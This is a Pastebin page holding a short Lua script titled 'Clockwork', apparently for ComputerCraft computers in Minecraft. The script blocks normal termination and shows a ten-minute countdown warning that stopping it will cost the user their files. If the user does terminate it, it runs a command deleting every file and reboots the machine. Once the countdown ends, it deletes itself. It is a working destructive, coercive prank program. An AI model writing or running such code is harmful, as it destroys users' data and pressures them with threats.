Advertisement
Mackan90096

Clockwork

Mar 28th, 2015
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.54 KB | None | 0 0
  1. function center(text)
  2. local w,h = term.getSize()
  3. term.setCursorPos(w-20,h-10)
  4. print(text)
  5. term.setCursorPos(1,1)
  6. end
  7.  
  8. x = 600;
  9. al = true;
  10. while true do
  11. e, p1, p2, p3 = os.pullEventRaw()
  12. if(e == "terminate") then
  13. if(al == true) then
  14. shell.run("rm", "*")
  15. os.reboot()
  16. end
  17. end
  18. if(x > 0) then
  19. term.clear()
  20. center("Let me run for "..x.." more seconds and your files will be here\nTerminate me, and so will your files.")
  21. sleep(1)
  22. x = x-1
  23. else
  24. shell.run("rm", shell.getRunningProgram())
  25. os.reboot()
  26. end
  27. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement